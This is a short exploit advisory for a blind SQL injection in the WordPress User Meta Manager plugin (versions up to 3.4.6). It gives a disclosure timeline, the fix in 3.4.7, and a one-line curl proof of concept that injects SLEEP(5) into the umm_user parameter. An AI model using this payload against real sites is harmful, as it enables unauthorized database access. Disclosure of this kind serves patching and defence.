* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI] * Discovery Date: 2015/12/28 * Public Disclosure Date: 2016/02/04 * Exploit Author: Panagiotis Vagenas * Contact: https://twitter.com/panVagenas * Vendor Homepage: http://jasonlau.biz/home/ * Software Link: https://wordpress.org/plugins/user-meta-manager/ * Version: 3.4.6 * Tested on: WordPress 4.4.1 * Category: webapps Description ================================================================================ AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET param. PoC ================================================================================ ```sh curl -c ${USER_COOKIES} "http://${VULN_SITE}/wp-admin/admin-ajax.php?action=umm_switch_action &umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP (5)" ``` Timeline ================================================================================ 2015/12/28 - Discovered 2015/12/29 - Vendor notified via support forums in WordPress.org 2015/12/29 - Vendor notified via contact form in his site 2016/01/29 - WordPress security team notified about the issue 2016/02/02 - Vendor released version 3.4.7 2016/02/02 - Verified that this exploit no longer applies in version 3.4.7 Solution ================================================================================ Update to version 3.4.7